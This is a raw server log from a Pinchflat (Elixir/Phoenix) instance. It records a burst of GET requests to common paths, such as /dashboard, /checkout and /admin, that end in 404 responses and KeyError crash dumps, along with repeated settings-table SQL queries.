assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3768.0>, params: %{}, path_info: ["app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea4e003747-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "zmzteaca4af697lg.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/app", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoQ6423RAP0AAWvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea4e003747-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea4e003747-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, strea (truncated) 02:50:39.366 [info] GET /dashboard 02:50:39.366 [debug] QUERY OK source="settings" db=0.1ms idle=640.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.366 [debug] QUERY OK source="settings" db=0.1ms idle=640.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.366 [info] GET /settings 02:50:39.366 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.366 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 02:50:39.367 [debug] QUERY OK source="settings" db=0.5ms idle=319.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.368 [debug] QUERY OK source="settings" db=0.2ms idle=23.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.368 [debug] QUERY OK source="settings" db=0.1ms idle=23.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.369 [info] GET /checkout 02:50:39.369 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.369 [debug] QUERY OK source="settings" db=0.3ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.367 [error] #PID<0.3769.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 26) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /dashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea5cec307d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a423063fnf2u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3769.0>, params: %{}, path_info: ["dashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea5cec307d-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "a423063fnf2u.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/dashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoWZG7JHjx0AAWwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea5cec307d-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "a423063fnf2u.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 26, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/av (truncated) 02:50:39.370 [info] GET /pricing 02:50:39.371 [info] Sent 200 in 4ms 02:50:39.371 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.371 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.371 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.372 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.372 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.373 [info] GET /login 02:50:39.374 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.375 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:39.375 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:39.371 [error] #PID<0.3772.0> running PinchflatWeb.Endpoint (connection #PID<0.3771.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /checkout ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36852}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea5fcfa0bb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3772.0>, params: %{}, path_info: ["checkout"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea5fcfa0bb-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "whaaidvz.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/checkout", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoXHWOVqs8UAAWyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36852}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea5fcfa0bb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /checkout (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3771.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/checkout", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 36852}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea5fcfa0bb-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", (truncated) 02:50:39.375 [info] GET /signup 02:50:39.376 [info] GET /admin 02:50:39.372 [error] #PID<0.3773.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 27) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /pricing ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200fdea59c9b261-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "whaaidvz.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 27, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3773.0>, params: %{}, path_info: ["pricing"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200fdea59c9b261-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "whaaidvz.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.1.49"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/pricing", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoXfANAZCxIAAW0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: 